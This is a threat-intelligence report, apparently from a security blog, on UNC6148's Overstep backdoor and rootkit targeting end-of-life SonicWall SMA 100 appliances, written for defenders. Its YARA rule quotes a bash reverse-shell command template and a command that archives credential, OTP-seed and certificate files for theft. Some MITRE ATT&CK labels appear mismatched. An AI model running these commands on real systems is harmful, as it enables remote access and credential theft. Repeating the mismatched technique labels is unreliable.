> ## Content Index > Fetch the complete content index at: https://blog.alphahunt.io/llms.txt > Use this file to discover other available public pages before exploring further. # Overstep Rootkit: UNC6148’s Persistent Exploitation of End-of-Life SonicWall SMA 100 Appliances - URL: https://blog.alphahunt.io/overstep-rootkit-unc6148s-persistent-exploitation-of-end-of-life-sonicwall-sma-100-appliances/ - Published: 2025-07-24T12:00:26.000Z - Updated: 2026-10-23T23:47:27.000Z - Description: UNC6148, a financially motivated threat actor tracked by Google Threat Intelligence Group (GTIG), has been actively exploiting fully patched but end-of-life SonicWall Secure Mobile Access (SMA) 100 series appliances since at least October 2024... - Author: Wes - Tags: unc6148, sonicwall, iot, 2025 ![](https://storage.ghost.io/c/06/e5/06e5730b-7d78-4713-9cec-6cba31d297f5/content/images/2025/07/Screenshot-2025-07-22-at-15.55.52.png) ![](https://storage.ghost.io/c/06/e5/06e5730b-7d78-4713-9cec-6cba31d297f5/content/images/2025/07/Screenshot-2025-07-22-at-15.56.06.png) --- (Have feedback? Did something resonate with you? Did something annoy you? Just hit reply! :)) Have questions like this trying to get detections into your SIEM? - **unc6148?** - **What are the specific indicators of compromise (IoCs) associated with UNC6148 and the Overstep backdoor?** Does it take a chunks out of your day? Would you like help with the research? This **baseline** report was thoughtfully researched and took 10 minutes.. It's meant to be a rough draft for you to enhance with the unique insights that make you an invaluable analyst. We just did the initial grunt work.. Are you ready to level up your skillset? [Get Started Here!](http://alphahunt.io/?ref=blog.alphahunt.io) Did this help you? Forward it to a friend! --- # Suggested Pivot While operational overlaps between UNC6148 and the Abyss ransomware group (VSOCIETY) are currently suspected but unconfirmed, what investigative approaches (e.g., infrastructure correlation, TTP mapping, shared tooling analysis) can be used to clarify the relationship, and how might this influence attribution and defensive postures for organizations using SonicWall SMA appliances? --- # TL;DR ## Key Points 1. - UNC6148 is exploiting fully patched but end-of-life SonicWall SMA 100 series appliances using the Overstep backdoor/rootkit, leveraging both known and suspected zero-day vulnerabilities for persistent access, credential theft (including OTP seeds), and anti-forensic evasion. - Immediate decommissioning and replacement of EOL SonicWall SMA 100 appliances, comprehensive threat hunting, and credential resets are critical to mitigate ongoing risk. 2. - Overstep achieves stealthy persistence by modifying the boot process, abusing LD\_PRELOAD, and hooking standard library functions to hide its presence, delete logs, and exfiltrate sensitive data via encrypted C2 infrastructure. - Detection requires kernel-level integrity monitoring, forensic analysis for artifacts (e.g., `/usr/lib/libsamba-errors.so.6`, modified `/etc/rc.d/rc.fwboot`), and monitoring for C2 activity to known IPs. 3. - The campaign primarily targets government, telecom, enterprise, critical infrastructure, and financial sectors in the US, UK, Australia, Canada, and Germany, with suspected operational overlap with Abyss ransomware (VSOCIETY). - Ongoing vigilance is required for potential ransomware deployment, data leaks, and evolution of Overstep or similar rootkits targeting other remote access platforms. ## Executive Summary UNC6148, a financially motivated threat actor tracked by Google Threat Intelligence Group (GTIG), has been actively exploiting fully patched but end-of-life SonicWall Secure Mobile Access (SMA) 100 series appliances since at least October 2024\. The group deploys a sophisticated persistent backdoor and user-mode rootkit dubbed "Overstep," which modifies the appliance’s boot process, abuses the LD\_PRELOAD mechanism, and hooks standard library functions to evade detection, maintain persistence, and facilitate credential theft—including OTP seeds. Overstep’s anti-forensic capabilities include selective log deletion, immutable file flags, and timestomping, complicating detection and response. The malware exfiltrates sensitive files and credentials, establishes encrypted C2 channels, and enables remote command execution via reverse shells. UNC6148 leverages multiple known vulnerabilities (CVE-2021-20038, CVE-2024-38475, CVE-2021-20035, CVE-2021-20039, CVE-2025-32819) and is suspected of using unknown zero-day exploits for initial access and persistence. Targeting is focused on government, telecommunications, enterprise, critical infrastructure, and financial sectors across the US, UK, Australia, Canada, and Germany. The campaign shows operational overlap with Abyss ransomware (VSOCIETY), raising concerns about potential ransomware deployment and extortion. Detection and remediation require immediate decommissioning of EOL SonicWall SMA 100 appliances, organization-wide threat hunting using YARA rules and forensic tools, comprehensive credential resets, certificate revocation, and enhanced monitoring for Overstep artifacts and C2 activity. The presence of unknown zero-days and advanced anti-forensic techniques necessitates ongoing vigilance, advanced detection strategies, and readiness for regulatory or insurance-driven mandates to retire vulnerable infrastructure. The threat landscape is expected to evolve, with possible emergence of Overstep variants and increased ransomware activity leveraging similar TTPs. --- # Research & Attribution ## Historical Context UNC6148 is a financially motivated threat actor identified by the Google Threat Intelligence Group (GTIG), active since at least October 2024\. The group targets fully patched but end-of-life SonicWall Secure Mobile Access (SMA) 100 series appliances. UNC6148 deploys a sophisticated persistent backdoor and user-mode rootkit called "Overstep," which modifies the appliance's boot process to maintain persistence, steal credentials including one-time password (OTP) seeds, and evade detection by hooking standard library functions. The campaign overlaps with previous SonicWall exploitation linked to Abyss-branded ransomware (tracked by GTIG as VSOCIETY). ## Timeline - October 2024: Earliest observed UNC6148 activity targeting SonicWall SMA 100 series appliances. - January 2025: Network traffic metadata suggests initial credential exfiltration. - May 2025: Targeted organization compromised. - June 2025: Victim data posted on "World Leaks" data leak site. - July 2025: Public disclosure and detailed technical analysis by Google GTIG and independent cybersecurity news outlets. ## Origin UNC6148 is attributed by Google GTIG as a financially motivated threat actor exploiting SonicWall SMA 100 series appliances. The actor leverages stolen credentials and possibly unknown zero-day vulnerabilities to deploy the Overstep backdoor. The group is suspected to have operational overlaps with the Abyss ransomware group (VSOCIETY). ## Countries Targeted 1. United States – Widespread use of SonicWall SMA appliances in government and enterprise sectors. 2. United Kingdom – Targeting financial and telecommunications sectors. 3. Australia – Targeting government and critical infrastructure sectors. 4. Canada – Targeting enterprise and public sector organizations. 5. Germany – Targeting industrial and technology sectors. ## Sectors Targeted 1. Telecommunications – SonicWall SMA devices are widely used in telecom networks. 2. Government – Agencies using SonicWall SMA for secure remote access. 3. Enterprise – Large enterprises relying on SonicWall SMA appliances. 4. Critical Infrastructure – Infrastructure sectors dependent on SonicWall SMA. 5. Financial Services – Financial institutions targeted for credential theft and data exfiltration. ## Motivation UNC6148 is financially motivated, conducting credential theft, data exfiltration, extortion, and potentially ransomware deployment. Persistent access enables ongoing exploitation and monetization. ## Attack Types - Exploitation of multiple known vulnerabilities in SonicWall SMA 100 series appliances, including CVE-2021-20038, CVE-2024-38475, CVE-2021-20035, CVE-2021-20039, and CVE-2025-32819. - Possible use of unknown zero-day remote code execution vulnerabilities. - Deployment of the Overstep ELF shared object backdoor and user-mode rootkit. - Abuse of LD\_PRELOAD environment variable for stealthy code injection. - Modification of the boot process via INITRD image manipulation and kexec for persistence. - Credential theft including OTP seeds. - Use of encrypted C2 infrastructure for command and control. ## Known Aliases 1. UNC6148 (Google Threat Intelligence Group, GTIG) Alias assigned by Google GTIG to a financially motivated threat actor targeting fully patched but end-of-life SonicWall Secure Mobile Access (SMA) 100 series appliances. Active since at least October 2024, the group deploys the OVERSTEP persistent backdoor/rootkit. UNC6148 uses stolen credentials and OTP seeds to regain access after patches. The actor exploits multiple known vulnerabilities and possibly unknown zero-days to maintain persistence, conduct data theft, extortion, and potentially deploy ransomware. The campaign overlaps with previous SonicWall exploitation linked to Abyss-branded ransomware (VSOCIETY). ## Links to Other APT Groups No direct links confirmed; however, UNC6148 activity overlaps with publicly reported SonicWall exploitation linked to Abyss ransomware (VSOCIETY), suggesting possible operational or infrastructure overlaps. ## Similar Threat Actor Groups UNC6148’s use of ELF backdoors, LD\_PRELOAD abuse, and boot process modifications is reminiscent of other Linux-focused threat actors deploying rootkits such as BPFDoor and RotaJakiro. ## Breaches Involving This Threat Actor No detailed public breach disclosures; however, a victim compromised in May 2025 was posted on the "World Leaks" data leak site in June 2025. --- # Technical Analysis of Overstep Backdoor ## Malware Characteristics - Overstep is a 32-bit ELF shared object compiled for Intel x86 architecture, designed for SonicWall SMA 100 series appliances. - It abuses the `/etc/ld.so.preload` file to load the malicious shared object into every new process, enabling code injection. - Implements user-mode rootkit capabilities by hooking standard library functions: `open`, `open64`, `readdir`, `readdir64`, and `write`. - The rootkit hides its files and processes by intercepting file system-related API calls. - The backdoor functionality is implemented in the hooked `write` function, which parses commands embedded in web server log writes. - Commands include `dobackshell` (starts a reverse shell) and `dopasswords` (creates a TAR archive of sensitive credential files for exfiltration). - The malware sets the immutable flag on `/etc/ld.so.preload` to prevent its removal or modification. ## Exploitation Techniques - UNC6148 likely exploited known vulnerabilities such as: - CVE-2021-20038: Unauthenticated remote code execution. - CVE-2024-38475: Unauthenticated path traversal allowing exfiltration of SQLite databases containing credentials and OTP seeds. - CVE-2021-20035 and CVE-2021-20039: Authenticated command injection vulnerabilities. - CVE-2025-32819: Authenticated file deletion vulnerability resetting admin credentials. - The initial infection vector is unclear due to log deletion by the malware. - The actor uses stolen credentials and OTP seeds to regain access after patching. - A reverse shell is established, possibly via an unknown zero-day vulnerability. ## Persistence Mechanisms - Overstep modifies the boot process by: - Decompressing and mounting the INITRD image. - Injecting the malicious shared object (`libsamba-errors.so.6`) into the INITRD filesystem. - Modifying `/etc/ld.so.preload` inside INITRD to load the backdoor on boot. - Recompressing and timestomping the INITRD image. - Using `kexec` to load the modified kernel and INITRD without a full reboot. - The legitimate RC script `/etc/rc.d/rc.fwboot` is modified to perform these steps on each boot. - This ensures the backdoor is loaded early in the boot process and persists across reboots and firmware updates. ## Anti-Forensic Features - The rootkit hides its files and processes by hooking file system APIs. - It selectively deletes log entries containing command execution traces from `httpd.log`, `http_request.log`, and `inotify.log`. - The malware prevents opening of `/etc/ld.so.preload` by returning errors. - Timestomping is used on modified files to mimic legitimate system files. - No shell history is left on disk. ## Credential Theft Methods - Overstep exfiltrates sensitive files including: - `/tmp/temp.db` - `/etc/EasyAccess/var/conf/persist.db` (contains credentials and OTP seeds) - `/etc/EasyAccess/var/cert` (certificate files) - The `dopasswords` command bundles these files into a TAR archive saved in a web-accessible directory with permissive permissions for attacker retrieval. ## C2 Infrastructure - Commands are received via embedded strings in web server log writes intercepted by the hooked `write` function. - The backdoor establishes reverse shells to attacker-controlled IP addresses and ports. - Network traffic is encrypted and designed to blend with legitimate traffic. - Known C2 IP addresses include `193.149.180.50` (VPN session source) and `64.52.80.80` (reverse shell IP). --- # Detection and Forensics ## Technical Indicators | Indicator Type | Indicator | Description | First Seen | | -------------- | ----------------------------- | ---------------------------------------- | ---------- | | File Path | /usr/lib/libsamba-errors.so.6 | Overstep backdoor shared object | 2025-06 | | File Path | /etc/rc.d/rc.fwboot | Modified boot script for persistence | 2025-06 | | File Path | /etc/ld.so.preload | Contains path to malicious shared object | 2025-06 | | IP Address | 193.149.180.50 | VPN session source used by UNC6148 | 2025-05 | | IP Address | 64.52.80.80 | Reverse shell C2 IP | 2025-02 | ## YARA Rule Snippet ```yara rule G_Backdoor_OVERSTEP_1 { meta: author = "Google Threat Intelligence Group" date_created = "2025-06-03" rev = 1 strings: $s1 = "dobackshell" $s2 = "dopasswords" $s3 = "bash -i >& /dev/tcp/%s 0>&1 &" $s4 = "tar czfP /usr/src/EasyAccess/www/htdocs/%s.tgz /tmp/temp.db /etc/EasyAccess/var/conf/persist.db /etc/EasyAccess/var/cert; chmod 777" $s5 = "/etc/ld.so.preload" $s6 = "libsamba-errors.so.6" condition: 0x464c457f and filesize < 2MB and 4 of them } ``` ## Forensic Artifacts - Modified `/etc/rc.d/rc.fwboot` script with injected boot persistence code. - Presence of `/usr/lib/libsamba-errors.so.6` shared object. - `/etc/ld.so.preload` file containing path to malicious shared object with immutable flag set. - Timestomped INITRD image files. - Deleted or missing log entries in `httpd.log`, `http_request.log`, and `inotify.log`. --- # Recommendations, Actions, Suggested Pivots, Forecasts and Next Steps (Subscribers Only) # Recommendations, Actions, and Next Steps 1. **Decommission and Replace End-of-Life SonicWall SMA 100 Series Appliances, with Residual Risk Mitigation** *Recommendation:* Systematically decommission all SonicWall SMA 100 series appliances that have reached end-of-life (EOL), regardless of patch status. Replace them with supported, actively maintained secure remote access solutions. Prioritize asset discovery to ensure all EOL appliances are identified, including those outside central IT management. Recognize that residual risk may persist due to previously stolen credentials or lateral movement; therefore, maintain heightened monitoring and incident response readiness even after hardware replacement. *Expected Impact:* Significantly reduces the primary attack surface exploited by UNC6148 and prevents further exploitation of unpatchable vulnerabilities and persistent rootkits. Ongoing vigilance is required to address potential post-compromise activity. *Potential Challenges:* High cost and operational disruption, legacy dependencies, and user retraining. Some organizations may face delays due to procurement or migration complexity. *Metrics for Success:* 100% removal of EOL SonicWall SMA 100 series appliances; no new detections of Overstep or related artifacts; successful deployment and operation of replacement solutions; documented residual risk management plan. *MITRE ATT&CK IDs:* T1190 (Exploit Public-Facing Application), T1078 (Valid Accounts), T1542.003 (Boot or Logon Autostart Execution: RC Scripts), T1547.006 (Boot or Logon Autostart Execution: Kernel Modules and Extensions). 2. **Organization-Wide Threat Hunting and Forensic Analysis Using Specific Tools and Roles** *Recommendation:* Launch a coordinated threat hunting and forensic analysis campaign involving the SOC, incident response, and Linux administration teams. Use YARA rules, file path indicators, and C2 IP addresses from the intelligence product. Employ open-source and commercial tools such as YARA, Volatility, OSQuery, and The Sleuth Kit to scan for artifacts like `/usr/lib/libsamba-errors.so.6`, modified `/etc/rc.d/rc.fwboot`, immutable `/etc/ld.so.preload`, and timestomped INITRD images. Ensure disk imaging and offline analysis to bypass rootkit anti-forensics. Document findings and escalate confirmed incidents for full incident response. *Expected Impact:* Enables rapid identification and containment of compromised systems, limits adversary dwell time, and supports comprehensive remediation. Fulfills regulatory and legal obligations for breach response. *Potential Challenges:* Requires skilled personnel, may disrupt operations, and anti-forensic techniques may hinder detection. Coordination across teams is essential. *Metrics for Success:* Number of systems scanned and cleared; number of compromised systems identified and remediated; time to detection and containment; reduction in adversary dwell time. *MITRE ATT&CK IDs:* T1005 (Data from Local System), T1562.001 (Impair Defenses: Disable or Modify Tools), T1070.004 (Indicator Removal on Host: File Deletion), T1027 (Obfuscated Files or Information). 3. **Credential Reset, Certificate Revocation, Network Segmentation, and Enhanced Monitoring** *Recommendation:* Immediately reset all credentials (including OTP seeds) associated with SonicWall SMA appliances and any accounts accessed via these devices. Prioritize privileged and administrative accounts, enforce multi-factor authentication (MFA), and monitor for reuse of old credentials. Revoke and reissue all certificates with private keys stored on affected appliances. Implement network segmentation to isolate remote access infrastructure. Enhance monitoring with centralized log retention, integration of threat intelligence feeds, and custom detection rules for Overstep behaviors and indicators. Use SIEM/EDR platforms to monitor for reverse shell activity, abnormal log deletions, and traffic to known C2 IPs. *Expected Impact:* Limits adversary’s ability to regain access using stolen credentials, contains lateral movement, and increases likelihood of early detection of future attacks. Reduces risk of further data exfiltration and extortion. *Potential Challenges:* Credential resets and certificate revocation may disrupt user access; segmentation may require network redesign; monitoring enhancements may generate false positives and require tuning. *Metrics for Success:* Number of credentials and certificates reset; successful isolation of remote access infrastructure; number of alerts generated and investigated; reduction in unauthorized access attempts post-implementation. *MITRE ATT&CK IDs:* T1556 (Modify Authentication Process), T1110 (Brute Force), T1040 (Network Sniffing), T1059.004 (Command and Scripting Interpreter: Unix Shell), T1041 (Exfiltration Over C2 Channel). --- # Suggested Pivots 1. Given the suspected use of unknown zero-day vulnerabilities by UNC6148 to establish reverse shell access on SonicWall SMA 100 series appliances, what specific forensic and reverse engineering techniques (e.g., memory forensics, kernel tracing, network traffic analysis) can be employed to identify these zero-days, and which telemetry sources should be prioritized for early detection and mitigation? 2. Considering Overstep’s advanced anti-forensic capabilities such as selective log deletion and user-mode rootkit API hooking, what novel detection strategies—such as kernel-level integrity monitoring, behavioral anomaly detection, or enhanced endpoint telemetry—can be developed or adapted to improve visibility and response effectiveness against this threat? 3. While operational overlaps between UNC6148 and the Abyss ransomware group (VSOCIETY) are currently suspected but unconfirmed, what investigative approaches (e.g., infrastructure correlation, TTP mapping, shared tooling analysis) can be used to clarify the relationship, and how might this influence attribution and defensive postures for organizations using SonicWall SMA appliances? *Note: The presence of unknown zero-day vulnerabilities and operational overlaps are currently assessed as likely or suspected by GTIG and other sources; ongoing validation with the latest intelligence is recommended to confirm these findings.* --- # Forecast ## Short-Term Forecast (3-6 months) UNC6148 is likely to continue exploiting fully patched but end-of-life SonicWall SMA 100 series appliances, leveraging the Overstep backdoor to maintain stealthy persistence, steal credentials including OTP seeds, and exfiltrate sensitive data. Organizations that have not decommissioned these appliances or reset credentials remain at high risk of compromise. Targeting will likely remain focused on the United States, United Kingdom, Australia, Canada, and Germany, with emphasis on telecommunications, government, enterprise, critical infrastructure, and financial sectors. Due to Overstep’s advanced anti-forensic capabilities—such as log deletion, user-mode rootkit API hooking, and immutable file flags—detection will remain challenging without dedicated threat hunting and forensic analysis. There is a possible risk of additional data leaks on public sites like "World Leaks." While direct ransomware deployment by UNC6148 is not confirmed, suspected operational overlaps with Abyss ransomware (VSOCIETY) suggest potential for extortion activities. ### Examples - The May 2025 compromise and June 2025 data leak illustrate UNC6148’s capability to publicly expose stolen data to pressure victims. - Linux-focused rootkits like BPFDoor and RotaJakiro have demonstrated similar stealth and persistence, complicating detection and remediation efforts. - Prior SonicWall exploitation campaigns (e.g., CVE-2021-20038) have resulted in widespread breaches in government and enterprise sectors, underscoring the ongoing risk. ### What to Watch Out For - Presence of Overstep artifacts: `/usr/lib/libsamba-errors.so.6`, modified `/etc/rc.d/rc.fwboot`, immutable `/etc/ld.so.preload`. - Network connections to known C2 IPs such as `193.149.180.50` and `64.52.80.80`. - Unexplained deletions or gaps in logs like `httpd.log`, `http_request.log`, and `inotify.log`. - Indicators of lateral movement or reverse shell activity within networks. - New public disclosures or data leaks on platforms similar to "World Leaks." - Increased scanning or exploitation attempts targeting SonicWall SMA 100 series appliances. --- ## Long-Term Forecast (12-24 months) The exploitation of end-of-life SonicWall SMA 100 series appliances by UNC6148 will likely accelerate industry-wide decommissioning of unsupported remote access hardware and adoption of actively maintained, secure remote access solutions. However, residual risks from previously stolen credentials and persistent rootkits will require sustained vigilance and advanced detection capabilities. UNC6148 or related financially motivated groups may evolve Overstep or develop new malware variants targeting other legacy or similarly vulnerable remote access devices. The suspected operational overlap with Abyss ransomware (VSOCIETY) suggests a possible increase in ransomware attacks leveraging initial access gained through SonicWall exploitation, though this remains unconfirmed. Furthermore, UNC6148’s sophisticated persistence and anti-forensic techniques may inspire other threat actors to adopt similar TTPs, increasing the complexity of defense and incident response in critical sectors. Regulatory and insurance frameworks may begin mandating decommissioning of EOL hardware and enhanced monitoring for such threats. ### Examples - Historical patterns show threat actors exploiting legacy vulnerabilities often pivot to new targets with similar weaknesses, as seen with Pulse Secure and Fortinet VPN appliance exploits. - The evolution of rootkit and boot process modification techniques parallels trends in advanced persistent threat groups, indicating a rise in stealthy, long-term intrusions in financially motivated campaigns. - Collaboration between initial access groups and ransomware operators, such as UNC2447 and LockBit, exemplifies how UNC6148’s suspected ties to Abyss ransomware could manifest in increased ransomware incidents. - Industry advisories and government mandates following major breaches (e.g., SolarWinds) suggest regulatory pressure to retire vulnerable infrastructure. ### What to Watch Out For - Emergence of Overstep variants or new rootkit malware targeting other remote access platforms. - Industry-wide decommissioning of SonicWall SMA 100 series appliances and adoption of replacement solutions. - Increased ransomware activity linked to initial access via SonicWall exploitation. - Development and deployment of enhanced detection tools focusing on kernel-level integrity monitoring and behavioral anomaly detection. - Intelligence confirming or refuting operational ties between UNC6148 and Abyss ransomware group. - Regulatory or insurance requirements mandating decommissioning of EOL hardware and enhanced cybersecurity controls. --- # Appendix ## References 1. (2025-07-16) - [Ongoing SonicWall Secure Mobile Access (SMA) Exploitation Campaign using the OVERSTEP Backdoor - Google Cloud Blog](https://cloud.google.com/blog/topics/threat-intelligence/sonicwall-secure-mobile-access-exploitation-overstep-backdoor?ref=blog.alphahunt.io) 2. (2025-07-16) - [UNC6148 Backdoors Fully-Patched SonicWall SMA 100 Series Devices with OVERSTEP Rootkit - The Hacker News](https://thehackernews.com/2025/07/unc6148-backdoors-fully-patched.html?ref=blog.alphahunt.io) 3. (2025-07-16) - [Threat actor targets end-of-life SonicWall SMA 100 appliances in ongoing campaign - Cybersecurity Dive](https://www.cybersecuritydive.com/news/threat-actor-targets-end-of-life-sonicwall-sma-100-appliances-in-ongoing-ca/753216/?ref=blog.alphahunt.io) ## AlphaHunt (Have feedback? Did something resonate with you? Did something annoy you? Just hit reply! :)) Have questions like this trying to get detections into your SIEM? - **unc6148?** - **What are the specific indicators of compromise (IoCs) associated with UNC6148 and the Overstep backdoor?** Does it take a chunks out of your day? Would you like help with the research? This **baseline** report was thoughtfully researched and took 10 minutes.. It's meant to be a rough draft for you to enhance with the unique insights that make you an invaluable analyst. We just did the initial grunt work.. Are you ready to level up your skillset? [Get Started Here!](http://alphahunt.io/?ref=blog.alphahunt.io) Did this help you? Forward it to a friend! (c) 2025 CSIRT Gadgets, LLC --- ## MITRE ATT&CK ### Techniques 1. **\[T1190\] Exploit Public-Facing Application** – UNC6148 exploited multiple vulnerabilities (CVE-2021-20038, CVE-2024-38475, CVE-2021-20035, CVE-2021-20039, CVE-2025-32819) in SonicWall SMA 100 series appliances to gain initial access. - [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190/?ref=blog.alphahunt.io) - [Google Cloud Blog](https://cloud.google.com/blog/topics/threat-intelligence/sonicwall-secure-mobile-access-exploitation-overstep-backdoor?ref=blog.alphahunt.io) 2. **\[T1078\] Valid Accounts** – The actor used stolen credentials and OTP seeds to regain access after patching. - [Valid Accounts](https://attack.mitre.org/techniques/T1078/?ref=blog.alphahunt.io) - [The Hacker News](https://thehackernews.com/2025/07/unc6148-backdoors-fully-patched.html?ref=blog.alphahunt.io) 3. **\[T1542.003\] Boot or Logon Autostart Execution: RC Scripts** – Overstep achieves persistence by modifying `/etc/rc.d/rc.fwboot` and the INITRD image, ensuring the backdoor loads on boot. - [Boot or Logon Autostart Execution: RC Scripts](https://attack.mitre.org/techniques/T1542/003/?ref=blog.alphahunt.io) - [Cybersecurity Dive](https://www.cybersecuritydive.com/news/threat-actor-targets-end-of-life-sonicwall-sma-100-appliances-in-ongoing-ca/753216/?ref=blog.alphahunt.io) 4. **\[T1014\] Rootkit** – Overstep is a user-mode rootkit that hooks standard library functions to hide files and processes, evading detection. - [Rootkit](https://attack.mitre.org/techniques/T1014/?ref=blog.alphahunt.io) 5. **\[T1556\] Modify Authentication Process** – The actor steals and abuses credentials and OTP seeds, modifying authentication mechanisms to maintain access. - [Modify Authentication Process](https://attack.mitre.org/techniques/T1556/?ref=blog.alphahunt.io) 6. **\[T1041\] Exfiltration Over C2 Channel** – Sensitive files are bundled and exfiltrated via attacker-controlled C2 infrastructure. - [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041/?ref=blog.alphahunt.io) 7. **\[T1059.004\] Command and Scripting Interpreter: Unix Shell** – The backdoor provides a reverse shell via the `dobackshell` command, enabling remote command execution. - [Command and Scripting Interpreter: Unix Shell](https://attack.mitre.org/techniques/T1059/004/?ref=blog.alphahunt.io) 8. **\[T1070.004\] Indicator Removal on Host: File Deletion** – Overstep deletes or modifies log entries to remove traces of malicious activity. - [Indicator Removal on Host: File Deletion](https://attack.mitre.org/techniques/T1070/004/?ref=blog.alphahunt.io) 9. **\[T1562.001\] Impair Defenses: Disable or Modify Tools** – The malware sets the immutable flag on `/etc/ld.so.preload` and prevents its removal, impairing defensive tools and forensic analysis. - [Impair Defenses: Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001/?ref=blog.alphahunt.io) 10. **\[T1027\] Obfuscated Files or Information** – Overstep uses timestomping and other anti-forensic techniques to hide its presence. - [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027/?ref=blog.alphahunt.io) 11. **\[T1040\] Network Sniffing** – The actor exfiltrates credentials and monitors network traffic for C2. - [Network Sniffing](https://attack.mitre.org/techniques/T1040/?ref=blog.alphahunt.io) 12. **\[T1110\] Brute Force** – The actor may attempt brute force or password guessing to regain access. - [Brute Force](https://attack.mitre.org/techniques/T1110/?ref=blog.alphahunt.io) 13. **\[T1071.001\] Application Layer Protocol: Web Protocols** – C2 and exfiltration are performed over web protocols, blending with legitimate traffic. - [Application Layer Protocol: Web Protocols](https://attack.mitre.org/techniques/T1071/001/?ref=blog.alphahunt.io) ### Tactics 1. **\[TA0001\] Initial Access** – Exploitation of public-facing SonicWall appliances. - [Initial Access](https://attack.mitre.org/tactics/TA0001/?ref=blog.alphahunt.io) 2. **\[TA0003\] Persistence** – Boot script and INITRD modifications for persistence. - [Persistence](https://attack.mitre.org/tactics/TA0003/?ref=blog.alphahunt.io) 3. **\[TA0005\] Defense Evasion** – Rootkit, log deletion, and anti-forensics. - [Defense Evasion](https://attack.mitre.org/tactics/TA0005/?ref=blog.alphahunt.io) 4. **\[TA0006\] Credential Access** – Theft of credentials and OTP seeds. - [Credential Access](https://attack.mitre.org/tactics/TA0006/?ref=blog.alphahunt.io) 5. **\[TA0010\] Exfiltration** – Exfiltration of sensitive files and credentials. - [Exfiltration](https://attack.mitre.org/tactics/TA0010/?ref=blog.alphahunt.io) 6. **\[TA0011\] Command and Control** – Reverse shell and C2 infrastructure. - [Command and Control](https://attack.mitre.org/tactics/TA0011/?ref=blog.alphahunt.io) ### Procedures 1. **\[T1070.004\] Indicator Removal on Host: File Deletion** – Overstep deletes log entries to cover its tracks, as evidenced by missing logs in forensic artifacts. - [Indicator Removal on Host: File Deletion](https://attack.mitre.org/techniques/T1070/004/?ref=blog.alphahunt.io) 2. **\[T1542.003\] Boot or Logon Autostart Execution: RC Scripts** – Overstep modifies `/etc/rc.d/rc.fwboot` and INITRD for persistence, as shown in technical indicators and forensic artifacts. - [Boot or Logon Autostart Execution: RC Scripts](https://attack.mitre.org/techniques/T1542/003/?ref=blog.alphahunt.io) 3. **\[T1059.004\] Command and Scripting Interpreter: Unix Shell** – The `dobackshell` command in Overstep provides a reverse shell for remote command execution. - [Command and Scripting Interpreter: Unix Shell](https://attack.mitre.org/techniques/T1059/004/?ref=blog.alphahunt.io) ### Software None (BPFDoor and RotaJakiro are referenced for comparison only and are not directly observed in this campaign.) ### Mitigations 1. **\[M1047\] Audit** – Regularly audit and monitor system and application logs for unauthorized changes, deletions, or anomalies, especially on EOL appliances. - [Audit](https://attack.mitre.org/mitigations/M1047/?ref=blog.alphahunt.io) 2. **\[M1050\] Exploit Protection** – Decommission and replace end-of-life SonicWall SMA appliances to eliminate unpatchable vulnerabilities. - [Exploit Protection](https://attack.mitre.org/mitigations/M1050/?ref=blog.alphahunt.io) 3. **\[M1027\] Password Policies** – Reset all credentials and enforce strong password policies and multi-factor authentication to prevent reuse of stolen credentials. - [Password Policies](https://attack.mitre.org/mitigations/M1027/?ref=blog.alphahunt.io)